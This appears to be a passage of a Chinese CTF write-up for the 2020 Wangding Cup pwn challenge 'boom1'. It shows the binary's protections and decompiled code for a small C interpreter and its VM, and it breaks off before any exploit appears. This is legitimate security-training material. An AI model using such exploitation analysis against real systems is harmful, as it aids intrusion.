【WriteUp】2020年第二届“网鼎杯”网络安全大赛 青龙组 -- Pwn 题解

boom1

Description:

nc 182.92.73.10 24573

Solution:

程序保护如下:

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled

main 函数如下:

size_t __fastcall main(__int64 a1, char **a2, char **a3)
{
  size_t result; // rax
  void *v4; // rdi
  signed __int64 v5; // rax
  signed __int64 v6; // rax
  void *v7; // rsi
  __int64 v8; // rax
  __int64 v9; // rax
  signed __int64 *v10; // ST28_8
  signed __int64 *v11; // ST60_8
  signed __int64 *v12; // rax
  signed __int64 *v13; // rax
  signed __int64 *v14; // rax
  signed __int64 v15; // rax
  signed __int64 v16; // rax
  signed __int64 *v17; // ST28_8
  signed __int64 *v18; // rax
  signed __int64 *v19; // rax
  signed __int64 v20; // ST28_8
  signed __int64 **v21; // rax
  signed __int64 **v22; // rax
  signed __int64 *v23; // rax
  _BYTE *v24; // rax
  signed __int64 *v25; // rax
  signed __int64 *v26; // rax
  signed __int64 *v27; // rax
  signed __int64 *v28; // rax
  signed __int64 *v29; // rax
  signed __int64 *v30; // rax
  signed __int64 *v31; // rax
  signed __int64 *v32; // rax
  signed __int64 *v33; // rax
  signed __int64 *v34; // rax
  signed __int64 *v35; // rax
  signed __int64 *v36; // rax
  signed __int64 *v37; // rax
  signed __int64 *v38; // rax
  signed __int64 *v39; // rax
  signed __int64 *v40; // rax
  __int64 v41; // rax
  __int64 v42; // rax
  __int64 v43; // rax
  __int64 v44; // rax
  __int64 v45; // rax
  __int64 v46; // rax
  __int64 v47; // rax
  __int64 v48; // rax
  signed __int64 v49; // ST60_8
  __int64 v50; // rax
  __int64 v51; // rax
  char **v52; // [rsp+0h] [rbp-70h]
  signed __int64 v53; // [rsp+8h] [rbp-68h]
  _BOOL8 v54; // [rsp+10h] [rbp-60h]
  __int64 v55; // [rsp+18h] [rbp-58h]
  signed __int64 v56; // [rsp+18h] [rbp-58h]
  __int64 v57; // [rsp+18h] [rbp-58h]
  signed __int64 *v58; // [rsp+20h] [rbp-50h]
  char *v59; // [rsp+28h] [rbp-48h]
  signed __int64 *v60; // [rsp+28h] [rbp-48h]
  signed __int64 *v61; // [rsp+30h] [rbp-40h]
  signed __int64 v62; // [rsp+38h] [rbp-38h]
  __int64 v63; // [rsp+40h] [rbp-30h]
  signed __int64 v64; // [rsp+48h] [rbp-28h]
  signed __int64 v65; // [rsp+48h] [rbp-28h]
  ssize_t v66; // [rsp+48h] [rbp-28h]
  __int64 v67; // [rsp+48h] [rbp-28h]
  __int64 v68; // [rsp+48h] [rbp-28h]
  signed __int64 v69; // [rsp+48h] [rbp-28h]
  signed __int64 v70; // [rsp+48h] [rbp-28h]
  __int64 v71; // [rsp+58h] [rbp-18h]

  setbuf(stdout, 0LL);
  setbuf(stdin, 0LL);
  setbuf(stderr, 0LL);
  v53 = a1 - 1;
  v52 = a2 + 1;
  s = malloc(0x40000uLL);
  if ( !s )
  {
    printf("could not malloc(%d) symbol area\n", 0x40000LL, v52, v53);
    return -1LL;
  }
  qword_206088 = malloc(0x40000uLL);
  qword_206068 = (__int64)qword_206088;
  if ( !qword_206088 )
  {
    printf("could not malloc(%d) text area\n", 0x40000LL, v52, v53);
    return -1LL;
  }
  qword_206080 = malloc(0x40000uLL);
  if ( !qword_206080 )
  {
    printf("could not malloc(%d) data area\n", 0x40000LL, v52, v53);
    return -1LL;
  }
  v59 = (char *)malloc(0x40000uLL);
  if ( !v59 )
  {
    printf("could not malloc(%d) stack area\n", 0x40000LL, v52, v53);
    return -1LL;
  }
  memset(s, 0, 0x40000uLL);
  memset(qword_206088, 0, 0x40000uLL);
  v4 = qword_206080;
  memset(qword_206080, 0, 0x40000uLL);
  buf = "char else enum if int return sizeof while open read write close puts malloc free printf memset memcmp exit void main";
  v64 = 134LL;
  while ( v64 <= 141 )
  {
    ((void (*)(void))sub_B70)();
    v5 = v64++;
    *(_QWORD *)qword_2060B8 = v5;
  }
  v65 = 30LL;
  while ( v65 <= 40 )
  {
    ((void (*)(void))sub_B70)();
    *(_QWORD *)(qword_2060B8 + 24) = 130LL;
    *(_QWORD *)(qword_2060B8 + 32) = 1LL;
    v6 = v65++;
    *(_QWORD *)(qword_2060B8 + 40) = v6;
  }
  sub_B70(v4, 0LL);
  *(_QWORD *)qword_2060B8 = 134LL;
  sub_B70(v4, 0LL);
  v71 = qword_2060B8;
  buf = malloc(0x40000uLL);
  qword_2060A0 = (__int64)buf;
  if ( !buf )
  {
    printf("could not malloc(%d) source area\n", 0x40000LL, v52, v53);
    return -1LL;
  }
  puts("I'm living...");
  v7 = buf;
  v66 = read(0, buf, 0x3FFFFuLL);
  if ( v66 <= 0 )
  {
    printf("read() returned %d\n", v66, v52, v53);
    return -1LL;
  }
  *((_BYTE *)buf + v66) = 0;
  qword_206098 = 1LL;
  sub_B70(0LL, v7);
  while ( qword_206070 )
  {
    v54 = 1LL;
    switch ( qword_206070 )
    {
      case 138LL:
        sub_B70(0LL, v7);
        break;
      case 134LL:
        sub_B70(0LL, v7);
        v54 = 0LL;
        break;
      case 136LL:
        sub_B70(0LL, v7);
        if ( qword_206070 != 123 )
          sub_B70(0LL, v7);
        if ( qword_206070 == 123 )
        {
          sub_B70(0LL, v7);
          v67 = 0LL;
          while ( 1 )
          {
            if ( qword_206070 == 125 )
            {
              sub_B70(0LL, v7);
              goto LABEL_90;
            }
            if ( qword_206070 != 133 )
            {
              printf("%d: bad enum identifier %d\n", qword_206098, qword_206070, v52, v53);
              return -1LL;
            }
            sub_B70(0LL, v7);
            if ( qword_206070 == 142 )
            {
              sub_B70(0LL, v7);
              if ( qword_206070 != 128 )
              {
                printf("%d: bad enum initializer\n", qword_206098, v52, v53);
                return -1LL;
              }
              v67 = qword_2060A8;
              sub_B70(0LL, v7);
            }
            *(_QWORD *)(qword_2060B8 + 24) = 128LL;
            *(_QWORD *)(qword_2060B8 + 32) = 1LL;
            v8 = v67++;
            *(_QWORD *)(qword_2060B8 + 40) = v8;
            if ( qword_206070 == 44 )
              sub_B70(0LL, v7);
          }
        }
        break;
    }
LABEL_90:
    while ( qword_206070 != 59 && qword_206070 != 125 )
    {
      v55 = v54;
      while ( qword_206070 == 159 )
      {
        sub_B70(0LL, v7);
        v55 += 2LL;
      }
      if ( qword_206070 != 133 )
      {
        printf("%d: bad global declaration\n", qword_206098, v52, v53);
        return -1LL;
      }
      if ( *(_QWORD *)(qword_2060B8 + 24) )
      {
        printf("%d: duplicate global definition\n", qword_206098, v52, v53);
        return -1LL;
      }
      sub_B70(0LL, v7);
      *(_QWORD *)(qword_2060B8 + 32) = v55;
      if ( qword_206070 == 40 )
      {
        *(_QWORD *)(qword_2060B8 + 24) = 129LL;
        *(_QWORD *)(qword_2060B8 + 40) = (char *)qword_206088 + 8;
        sub_B70(0LL, v7);
        v68 = 0LL;
        while ( qword_206070 != 41 )
        {
          v56 = 1LL;
          if ( qword_206070 == 138 )
          {
            sub_B70(0LL, v7);
          }
          else if ( qword_206070 == 134 )
          {
            sub_B70(0LL, v7);
            v56 = 0LL;
          }
          while ( qword_206070 == 159 )
          {
            sub_B70(0LL, v7);
            v56 += 2LL;
          }
          if ( qword_206070 != 133 )
          {
            printf("%d: bad parameter declaration\n", qword_206098, v52, v53);
            return -1LL;
          }
          if ( *(_QWORD *)(qword_2060B8 + 24) == 132LL )
          {
            printf("%d: duplicate parameter definition\n", qword_206098, v52, v53);
            return -1LL;
          }
          *(_QWORD *)(qword_2060B8 + 48) = *(_QWORD *)(qword_2060B8 + 24);
          *(_QWORD *)(qword_2060B8 + 24) = 132LL;
          *(_QWORD *)(qword_2060B8 + 56) = *(_QWORD *)(qword_2060B8 + 32);
          *(_QWORD *)(qword_2060B8 + 32) = v56;
          *(_QWORD *)(qword_2060B8 + 64) = *(_QWORD *)(qword_2060B8 + 40);
          v9 = v68++;
          *(_QWORD *)(qword_2060B8 + 40) = v9;
          sub_B70(0LL, v7);
          if ( qword_206070 == 44 )
            sub_B70(0LL, v7);
        }
        sub_B70(0LL, v7);
        if ( qword_206070 != 123 )
        {
          printf("%d: bad function definition\n", qword_206098, v52, v53);
          return -1LL;
        }
        v69 = v68 + 1;
        qword_206090 = v69;
        sub_B70(0LL, v7);
        while ( qword_206070 == 138 || qword_206070 == 134 )
        {
          v54 = qword_206070 == 138;
          sub_B70(0LL, v7);
          while ( qword_206070 != 59 )
          {
            v57 = v54;
            while ( qword_206070 == 159 )
            {
              sub_B70(0LL, v7);
              v57 += 2LL;
            }
            if ( qword_206070 != 133 )
            {
              printf("%d: bad local declaration\n", qword_206098, v52, v53);
              return -1LL;
            }
            if ( *(_QWORD *)(qword_2060B8 + 24) == 132LL )
            {
              printf("%d: duplicate local definition\n", qword_206098, v52, v53);
              return -1LL;
            }
            *(_QWORD *)(qword_2060B8 + 48) = *(_QWORD *)(qword_2060B8 + 24);
            *(_QWORD *)(qword_2060B8 + 24) = 132LL;
            *(_QWORD *)(qword_2060B8 + 56) = *(_QWORD *)(qword_2060B8 + 32);
            *(_QWORD *)(qword_2060B8 + 32) = v57;
            *(_QWORD *)(qword_2060B8 + 64) = *(_QWORD *)(qword_2060B8 + 40);
            *(_QWORD *)(qword_2060B8 + 40) = ++v69;
            sub_B70(0LL, v7);
            if ( qword_206070 == 44 )
              sub_B70(0LL, v7);
          }
          sub_B70(0LL, v7);
        }
        qword_206088 = (char *)qword_206088 + 8;
        *(_QWORD *)qword_206088 = 6LL;
        qword_206088 = (char *)qword_206088 + 8;
        *(_QWORD *)qword_206088 = v69 - qword_206090;
        while ( qword_206070 != 125 )
          sub_3457();
        qword_206088 = (char *)qword_206088 + 8;
        *(_QWORD *)qword_206088 = 8LL;
        for ( qword_2060B8 = (__int64)s; *(_QWORD *)qword_2060B8; qword_2060B8 += 72LL )
        {
          if ( *(_QWORD *)(qword_2060B8 + 24) == 132LL )
          {
            *(_QWORD *)(qword_2060B8 + 24) = *(_QWORD *)(qword_2060B8 + 48);
            *(_QWORD *)(qword_2060B8 + 32) = *(_QWORD *)(qword_2060B8 + 56);
            *(_QWORD *)(qword_2060B8 + 40) = *(_QWORD *)(qword_2060B8 + 64);
          }
        }
      }
      else
      {
        *(_QWORD *)(qword_2060B8 + 24) = 131LL;
        *(_QWORD *)(qword_2060B8 + 40) = qword_206080;
        qword_206080 = (char *)qword_206080 + 8;
      }
      if ( qword_206070 == 44 )
        sub_B70(0LL, v7);
    }
    sub_B70(0LL, v7);
  }
  v58 = *(signed __int64 **)(v71 + 40);
  if ( v58 )
  {
    if ( qword_206060 )
    {
      result = 0LL;
    }
    else
    {
      v10 = (signed __int64 *)(v59 + 0x40000);
      v61 = v10;
      --v10;
      *v10 = 40LL;
      --v10;
      *v10 = 13LL;
      v11 = v10;
      --v10;
      *v10 = v53;
      --v10;
      *v10 = (signed __int64)v52;
      v60 = v10 - 1;
      *v60 = (signed __int64)v11;
      v63 = 0LL;
      while ( 1 )
      {
        while ( 1 )
        {
          while ( 1 )
          {
            while ( 1 )
            {
              while ( 1 )
              {
                while ( 1 )
                {
                  while ( 1 )
                  {
                    while ( 1 )
                    {
                      while ( 1 )
                      {
                        while ( 1 )
                        {
                          while ( 1 )
                          {
                            while ( 1 )
                            {
                              while ( 1 )
                              {
                                while ( 1 )
                                {
                                  while ( 1 )
                                  {
                                    while ( 1 )
                                    {
                                      while ( 1 )
                                      {
                                        while ( 1 )
                                        {
                                          while ( 1 )
                                          {
                                            while ( 1 )
                                            {
                                              while ( 1 )
                                              {
                                                while ( 1 )
                                                {
                                                  while ( 1 )
                                                  {
                                                    while ( 1 )
                                                    {
                                                      while ( 1 )
                                                      {
                                                        while ( 1 )
                                                        {
                                                          while ( 1 )
                                                          {
                                                            while ( 1 )
                                                            {
                                                              while ( 1 )
                                                              {
                                                                while ( 1 )
                                                                {
                                                                  while ( 1 )
                                                                  {
                                                                    while ( 1 )
                                                                    {
                                                                      while ( 1 )
                                                                      {
                                                                        while ( 1 )
                                                                        {
                                                                          while ( 1 )
                                                                          {
                                                                            while ( 1 )
                                                                            {
                                                                              while ( 1 )
                                                                              {
                                                                                while ( 1 )
                                                                                {
                                                                                  while ( 1 )
                                                                                  {
                                                                                    while ( 1 )
                                                                                    {
                                                                                      v12 = v58;
                                                                                      ++v58;
                                                                                      v70 = *v12;
                                                                                      if ( ++v63 > 100 )
                                                                                      {
                                                                                        puts("NOTALLOW");
                                                                                        exit(0);
                                                                                      }
                                                                                      if ( qword_206058 )
                                                                                      {
                                                                                        printf(
                                                                                          "%d> %.4s",
                                                                                          v63,
                                                                                          &aLeaImmJmpJsrBz_0[5 * v70],
                                                                                          v52,
                                                                                          v53);
                                                                                        if ( v70 > 7 )
                                                                                          putchar(10);
                                                                                        else
                                                                                          printf(" %d\n", *v58);
                                                                                      }
                                                                                      if ( v70 )
                                                                                        break;
                                                                                      v13 = v58;
                                                                                      ++v58;
                                                                                      v62 = (signed __int64)&v61[*v13];
                                                                                    }
                                                                                    if ( v70 != 1 )
                                                                                      break;
                                                                                    v14 = v58;
                                                                                    ++v58;
                                                                                    v62 = *v14;
                                                                                  }
                                                                                  if ( v70 != 2 )
                                                                                    break;
                                                                                  v58 = (signed __int64 *)*v58;
                                                                                }
                                                                                if ( v70 != 3 )
                                                                                  break;
                                                                                --v60;
                                                                                *v60 = (signed __int64)(v58 + 1);
                                                                                v58 = (signed __int64 *)*v58;
                                                                              }
                                                                              if ( v70 != 4 )
                                                                                break;
                                                                              if ( v62 )
                                                                                v15 = (signed __int64)(v58 + 1);
                                                                              else
                                                                                v15 = *v58;
                                                                              v58 = (signed __int64 *)v15;
                                                                            }
                                                                            if ( v70 != 5 )
                                                                              break;
                                                                            if ( v62 )
                                                                              v16 = *v58;
                                                                            else
                                                                              v16 = (signed __int64)(v58 + 1);
                                                                            v58 = (signed __int64 *)v16;
                                                                          }
                                                                          if ( v70 != 6 )
                                                                            break;
                                                                          v17 = v60 - 1;
                                                                          *v17 = (signed __int64)v61;
                                                                          v61 = v17;
                                                                          v18 = v58;
                                                                          ++v58;
                                                                          v60 = &v17[-*v18];
                                                                        }
                                                                        if ( v70 != 7 )
                                                                          break;
                                                                        v19 = v58;
                                                                        ++v58;
                                                                        v60 += *v19;
                                                                      }
                                                                      if ( v70 != 8 )
                                                                        break;
                                                                      v20 = (signed __int64)(v61 + 1);
                                                                      v61 = (signed __int64 *)*v61;
                                                                      v21 = (signed __int64 **)v20;
                                                                      v60 = (signed __int64 *)(v20 + 8);
                                                                      v58 = *v21;
                                                                    }
                                                                    if ( v70 != 9 )
                                                                      break;
                                                                    v62 = *(_QWORD *)v62;
                                                                  }
                                                                  if ( v70 != 10 )
                                                                    break;
                                                                  v62 = *(char *)v62;
                                                                }
                                                                if ( v70 != 11 )
                                                                  break;
                                                                v22 = (signed __int64 **)v60;
                                                                ++v60;
                                                                **v22 = v62;
                                                              }
                                                              if ( v70 != 12 )
                                                                break;
                                                              v23 = v60;
                                                              ++v60;
                                                              v24 = (_BYTE *)*v23;
                                                              *v24 = v62;
                                                              v62 = (char)*v24;
                                                            }
                                                            if ( v70 != 13 )
                                                              break;
                                                            --v60;
                                                            *v60 = v62;
                                                          }
                                                          if ( v70 != 14 )
                                                            break;
                                                          v25 = v60;
                                                          ++v60;
                                                          v62 |= *v25;
                                                        }
                                                        if ( v70 != 15 )
                                                          break;
                                                        v26 = v60;
                                                        ++v60;
                                                        v62 ^= *v26;
                                                      }
                                                      if ( v70 != 16 )
                                                        break;
                                                      v27 = v60;
                                                      ++v60;
                                                      v62 &= *v27;
                                                    }
                                                    if ( v70 != 17 )
                                                      break;
                                                    v28 = v60;
                                                    ++v60;
                                                    v62 = *v28 == v62;
                                                  }
                                                  if ( v70 != 18 )
                                                    break;
                                                  v29 = v60;
                                                  ++v60;
                                                  v62 = *v29 != v62;
                                                }
                                                if ( v70 != 19 )
                                                  break;
                                                v30 = v60;
                                                ++v60;
                                                v62 = *v30 < v62;
                                              }
                                              if ( v70 != 20 )
                                                break;
                                              v31 = v60;
                                              ++v60;
                                              v62 = *v31 > v62;
                                            }
                                            if ( v70 != 21 )
                                              break;
                                            v32 = v60;
                                            ++v60;
                                            v62 = *v32 <= v62;
                                          }
                                          if ( v70 != 22 )
                                            break;
                                          v33 = v60;
                                          ++v60;
                                          v62 = *v33 >= v62;
                                        }
                                        if ( v70 != 23 )
                                          break;
                                        v34 = v60;
                                        ++v60;
                                        v62 = *v34 << v62;
                                      }
                                      if ( v70 != 24 )
                                        break;
                                      v35 = v60;
                                      ++v60;
                                      v62 = *v35 >> v62;
                                    }
                                    if ( v70 != 25 )
                                      break;
                                    v36 = v60;
                                    ++v60;
                                    v62 += *v36;
                                  }
                                  if ( v70 != 26 )
                                    break;
                                  v37 = v60;
                                  ++v60;
                                  v62 = *v37 - v62;
                                }
                                if ( v70 != 27 )
                                  break;
                                v38 = v60;
                                ++v60;
                                v62 *= *v38;
                              }
                              if ( v70 != 28 )
                                break;
                              v39 = v60;
                              ++v60;
                              v62 = *v39 / v62;
                            }
                            if ( v70 != 29 )
                              break;
                            v40 = v60;
                            ++v60;
                            v62 = *v40 % v62;
                          }
                          if ( v70 != 30 )
                            break;
                          v41 = qword_206010--;
                          if ( v41 != 1 )
                          {
                            puts("NOTALLOW");
                            exit(0);
                          }
                          v62 = open((const char *)v60[1], *v60, v52, v53);
                        }
                        if ( v70 != 31 )
                          break;
                        v42 = qword_206010--;
                        if ( v42 != 1 )
                        {
                          puts("NOTALLOW");
                          exit(0);
                        }
                        v62 = read(v60[2], (void *)v60[1], *v60);
                      }
                      if ( v70 != 32 )
                        break;
                      v43 = qword_206010--;
                      if ( v43 != 1 )
                      {
                        puts("NOTALLOW");
                        exit(0);
                      }
                      v62 = write(v60[2], (const void *)v60[1], *v60);
                    }
                    if ( v70 != 33 )
                      break;
                    v44 = qword_206010--;
                    if ( v44 != 1 )
                    {
                      puts("NOTALLOW");
                      exit(0);
                    }
                    v62 = close(*v60);
                  }
                  if ( v70 != 34 )
                    break;
                  v45 = qword_206010--;
                  if ( v45 != 1 )
                  {
                    puts("NOTALLOW");
                    exit(0);
                  }
                  puts((const char *)*v60);
                }
                if ( v70 != 35 )
                  break;
                v46 = qword_206010--;
                if ( v46 != 1 )
                {
                  puts("NOTALLOW");
                  exit(0);
                }
                v62 = (signed __int64)malloc(*v60);
              }
              if ( v70 != 36 )
                break;
              v47 = qword_206010--;
              if ( v47 != 1 )
              {
                puts("NOTALLOW");
                exit(0);
              }
              free((void *)*v60);
            }
            if ( v70 != 37 )
              break;
            v48 = qword_206010--;
            if ( v48 != 1 )
            {
              puts("NOTALLOW");
              exit(0);
            }
            v49 = (signed __int64)&v60[v58[1]];
            v62 = printf(
                    *(const char **)(v49 - 8),
                    *(_QWORD *)(v49 - 16),
                    *(_QWORD *)(v49 - 24),
                    *(_QWORD *)(v49 - 32),
                    *(_QWORD *)(v49 - 40),
                    *(_QWORD *)(v49 - 48),
                    v52,
                    v53);
          }
          if ( v70 != 38 )
            break;
          v50 = qword_206010--;
          if ( v50 != 1 )
          {
            puts("NOTALLOW");
            exit(0);
          }
          v62 = (signed __int64)memset((void *)v60[2], v60[1], *v60);
        }
        if ( v70 != 39 )
          break;
        v51 = qword_206010--;
        if ( v51 != 1 )
        {
          puts("NOTALLOW");
          exit(0);
        }
        v62 = memcmp((const void *)v60[2], (const void *)v60[1], *v60);
      }
      if ( v70 == 40 )
      {
        printf("exit(%d) cycle = %d\n", *v60, v63, v52, v53);
        result = *v60;
      }
      else
      {
        printf("unknown instruction = %d! cycle = %d\n", v70, v63, v52, v53);
        result = -1LL;
      }
    }
  }
  else
  {
    puts("main() not defined");
    result = -1LL;
  }
  return result;
}

sub_B70 函数如下:

unsigned __int64 sub_B70()
{
  char *v0; // rax
  __int64 *v1; // rax
  char *v2; // rax
  signed __int64 v3; // rax
  char *v4; // rax
  char *v5; // rax
  char *v6; // rax
  _BYTE *v7; // rax
  char *s2; // [rsp+0h] [rbp-10h]
  void *s2a; // [rsp+0h] [rbp-10h]
  unsigned __int64 v11; // [rsp+8h] [rbp-8h]

  v11 = __readfsqword(0x28u);
  while ( 1 )
  {
    qword_206070 = *(char *)buf;
    if ( !qword_206070 )
      break;
    buf = (char *)buf + 1;
    if ( qword_206070 == 10 )
    {
      if ( qword_206060 )
      {
        printf("%d: %.*s", qword_206098, (char *)buf - qword_2060A0, qword_2060A0);
        qword_2060A0 = (__int64)buf;
        while ( qword_206068 < (unsigned __int64)qword_206088 )
        {
          qword_206068 += 8LL;
          printf("%8.4s", &aLeaImmJmpJsrBz[5 * *(_QWORD *)qword_206068]);
          if ( *(_QWORD *)qword_206068 > 7LL )
          {
            putchar(10);
          }
          else
          {
            qword_206068 += 8LL;
            printf(" %d\n", *(_QWORD *)qword_206068);
          }
        }
      }
      ++qword_206098;
    }
    else if ( qword_206070 == 35 )
    {
      while ( *(_BYTE *)buf && *(_BYTE *)buf != 10 )
        buf = (char *)buf + 1;
    }
    else
    {
      if ( qword_206070 > 96 && qword_206070 <= 122 || qword_206070 > 64 && qword_206070 <= 90 || qword_206070 == 95 )
      {
        s2 = (char *)buf - 1;
        while ( *(_BYTE *)buf > 96 && *(_BYTE *)buf <= 122
             || *(_BYTE *)buf > 64 && *(_BYTE *)buf <= 90
             || *(_BYTE *)buf > 47 && *(_BYTE *)buf <= 57
             || *(_BYTE *)buf == 95 )
        {
          v0 = (char *)buf;
          buf = (char *)buf + 1;
          qword_206070 = 147 * qword_206070 + *v0;
        }
        qword_206070 = (qword_206070 << 6) + (_BYTE *)buf - s2;
        for ( qword_2060B8 = (__int64)s; *(_QWORD *)qword_2060B8; qword_2060B8 += 72LL )
        {
          if ( *(_QWORD *)(qword_2060B8 + 8) == qword_206070
            && !memcmp(*(const void **)(qword_2060B8 + 16), s2, (_BYTE *)buf - s2) )
          {
            qword_206070 = *(_QWORD *)qword_2060B8;
            return __readfsqword(0x28u) ^ v11;
          }
        }
        *(_QWORD *)(qword_2060B8 + 16) = s2;
        *(_QWORD *)(qword_2060B8 + 8) = qword_206070;
        v1 = (__int64 *)qword_2060B8;
        *(_QWORD *)qword_2060B8 = 133LL;
        qword_206070 = *v1;
        return __readfsqword(0x28u) ^ v11;
      }
      if ( qword_206070 > 47 && qword_206070 <= 57 )
      {
        qword_2060A8 = qword_206070 - 48;
        if ( qword_206070 == 48 )
        {
          if ( *(_BYTE *)buf != 120 && *(_BYTE *)buf != 88 )
          {
            while ( *(_BYTE *)buf > 47 && *(_BYTE *)buf <= 55 )
            {
              v4 = (char *)buf;
              buf = (char *)buf + 1;
              qword_2060A8 = 8 * qword_2060A8 + *v4 - 48;
            }
          }
          else
          {
            while ( 1 )
            {
              buf = (char *)buf + 1;
              qword_206070 = *(char *)buf;
              if ( !qword_206070
                || (qword_206070 <= 47 || qword_206070 > 57)
                && (qword_206070 <= 96 || qword_206070 > 102)
                && (qword_206070 <= 64 || qword_206070 > 70) )
              {
                break;
              }
              if ( qword_206070 <= 64 )
                v3 = 0LL;
              else
                v3 = 9LL;
              qword_2060A8 = (qword_206070 & 0xF) + 16 * qword_2060A8 + v3;
            }
          }
        }
        else
        {
          while ( *(_BYTE *)buf > 47 && *(_BYTE *)buf <= 57 )
          {
            v2 = (char *)buf;
            buf = (char *)buf + 1;
            qword_2060A8 = 10 * qword_2060A8 + *v2 - 48;
          }
        }
        qword_206070 = 128LL;
        return __readfsqword(0x28u) ^ v11;
      }
      switch ( qword_206070 )
      {
        case 47LL:
          if ( *(_BYTE *)buf != 47 )
          {
            qword_206070 = 160LL;
            return __readfsqword(0x28u) ^ v11;
          }
          for ( buf = (char *)buf + 1; *(_BYTE *)buf && *(_BYTE *)buf != 10; buf = (char *)buf + 1 )
            ;
          break;
        case 39LL:
        case 34LL:
          s2a = qword_206080;
          while ( *(_BYTE *)buf && *(char *)buf != qword_206070 )
          {
            v5 = (char *)buf;
            buf = (char *)buf + 1;
            qword_2060A8 = *v5;
            if ( qword_2060A8 == 92 )
            {
              v6 = (char *)buf;
              buf = (char *)buf + 1;
              qword_2060A8 = *v6;
              if ( qword_2060A8 == 110 )
                qword_2060A8 = 10LL;
            }
            if ( qword_206070 == 34 )
            {
              v7 = qword_206080;
              qword_206080 = (char *)qword_206080 + 1;
              *v7 = qword_2060A8;
            }
          }
          buf = (char *)buf + 1;
          if ( qword_206070 == 34 )
            qword_2060A8 = (__int64)s2a;
          else
            qword_206070 = 128LL;
          return __readfsqword(0x28u) ^ v11;
        case 61LL:
          if ( *(_BYTE *)buf == 61 )
          {
            buf = (char *)buf + 1;
            qword_206070 = 149LL;
          }
          else
          {
            qword_206070 = 142LL;
          }
          return __readfsqword(0x28u) ^ v11;
        case 43LL:
          if ( *(_BYTE *)buf == 43 )
          {
            buf = (char *)buf + 1;
            qword_206070 = 162LL;
          }
          else
          {
            qword_206070 = 157LL;
          }
          return __readfsqword(0x28u) ^ v11;
        case 45LL:
          if ( *(_BYTE *)buf == 45 )
          {
            buf = (char *)buf + 1;
            qword_206070 = 163LL;
          }
          else
          {
            qword_206070 = 158LL;
          }
          return __readfsqword(0x28u) ^ v11;
        case 33LL:
          if ( *(_BYTE *)buf == 61 )
          {
            buf = (char *)buf + 1;
            qword_206070 = 150LL;
          }
          return __readfsqword(0x28u) ^ v11;
        case 60LL:
          if ( *(_BYTE *)buf == 61 )
          {
            buf = (char *)buf + 1;
            qword_206070 = 153LL;
          }
          else if ( *(_BYTE *)buf == 60 )
          {
            buf = (char *)buf + 1;
            qword_206070 = 155LL;
          }
          else
          {
            qword_206070 = 151LL;
          }
          return __readfsqword(0x28u) ^ v11;
        case 62LL:
          if ( *(_BYTE *)buf == 61 )
          {
            buf = (char *)buf + 1;
            qword_206070 = 154LL;
          }
          else if ( *(_BYTE *)buf == 62 )
          {
            buf = (char *)buf + 1;
            qword_206070 = 156LL;
          }
          else
          {
            qword_206070 = 152LL;
          }
          return __readfsqword(0x28u) ^ v11;
        case 124LL:
          if ( *(_BYTE *)buf == 124 )
          {
            buf = (char *)buf + 1;
            qword_206070 = 144LL;
          }
          else
          {
            qword_206070 = 146LL;
          }
          return __readfsqword(0x28u) ^ v11;
        case 38LL:
          if ( *(_BYTE *)buf == 38 )
          {
            buf = (char *)buf + 1;
            qword_206070 = 145LL;
          }
          else
          {
            qword_206070 = 148LL;
          }
          return __readfsqword(0x28u) ^ v11;
        case 94LL:
          qword_206070 = 147LL;
          return __readfsqword(0x28u) ^ v11;
        case 37LL:
          qword_206070 = 161LL;
          return __readfsqword(0x28u) ^ v11;
        case 42LL:
          qword_206070 = 159LL;
          return __readfsqword(0x28u) ^ v11;
        case 91LL:
          qword_206070 = 164LL;
          return __readfsqword(0x28u) ^ v11;
        case 63LL:
          qword_206070 = 143LL;
          return __readfsqword(0x28u) ^ v11;
        case 126LL:
        case 59LL:
        case 123LL:
        case 125LL:
        case 40LL:
        case 41LL:
        case 93LL:
        case 44LL:
        case 58LL:
          return __readfsqword(0x28u) ^ v11;
      }
    }
  }
  return __readfsqword(0x28u) ^ v11;
}

sub_3457 函数如下:

unsigned __int64 sub_3457()
{
  _QWORD *v0; // ST08_8
  _QWORD *v2; // [rsp+8h] [rbp-18h]
  char *v3; // [rsp+10h] [rbp-10h]
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  switch ( qword_206070 )
  {
    case 137LL:
      sub_B70();
      if ( qword_206070 != 40 )
      {
        printf("%d: open paren expected\n", qword_206098);
        exit(-1);
      }
      sub_B70();
      sub_16CB(142LL);
      if ( qword_206070 != 41 )
      {
        printf("%d: close paren expected\n", qword_206098);
        exit(-1);
      }
      sub_B70();
      qword_206088 = (char *)qword_206088 + 8;
      *(_QWORD *)qword_206088 = 4LL;
      qword_206088 = (char *)qword_206088 + 8;
      v2 = qword_206088;
      sub_3457(142LL);
      if ( qword_206070 == 135 )
      {
        *v2 = (char *)qword_206088 + 24;
        qword_206088 = (char *)qword_206088 + 8;
        *(_QWORD *)qword_206088 = 2LL;
        qword_206088 = (char *)qword_206088 + 8;
        v2 = qword_206088;
        sub_B70();
        sub_3457(142LL);
      }
      *v2 = (char *)qword_206088 + 8;
      break;
    case 141LL:
      sub_B70();
      v3 = (char *)qword_206088 + 8;
      if ( qword_206070 != 40 )
      {
        printf("%d: open paren expected\n", qword_206098);
        exit(-1);
      }
      sub_B70();
      sub_16CB(142LL);
      if ( qword_206070 != 41 )
      {
        printf("%d: close paren expected\n", qword_206098);
        exit(-1);
      }
      sub_B70();
      qword_206088 = (char *)qword_206088 + 8;
      *(_QWORD *)qword_206088 = 4LL;
      qword_206088 = (char *)qword_206088 + 8;
      v0 = qword_206088;
      sub_3457(142LL);
      qword_206088 = (char *)qword_206088 + 8;
      *(_QWORD *)qword_206088 = 2LL;
      qword_206088 = (char *)qword_206088 + 8;
      *(_QWORD *)qword_206088 = v3;
      *v0 = (char *)qword_206088 + 8;
      break;
    case 139LL:
      sub_B70();
      if ( qword_206070 != 59 )
        sub_16CB(142LL);
      qword_206088 = (char *)qword_206088 + 8;
      *(_QWORD *)qword_206088 = 8LL;
      if ( qword_206070 != 59 )
      {
        printf("%d: semicolon expected\n", qword_206098);
        exit(-1);
      }
      sub_B70();
      break;
    case 123LL:
      sub_B70();
      while ( qword_206070 != 125 )
        ((void (*)(void))sub_3457)();
      sub_B70();
      break;
    case 59LL:
      sub_B70();
      break;
    default:
      sub_16CB(142LL);
      if ( qword_206070 != 59 )
      {
        printf("%d: semicolon expected\n", qword_206098);
        exit(-1);
      }
      sub_B70();
      break;
  }
  return __readfsqword(0x28u) ^ v4;
}

sub_16CB 函数如下:

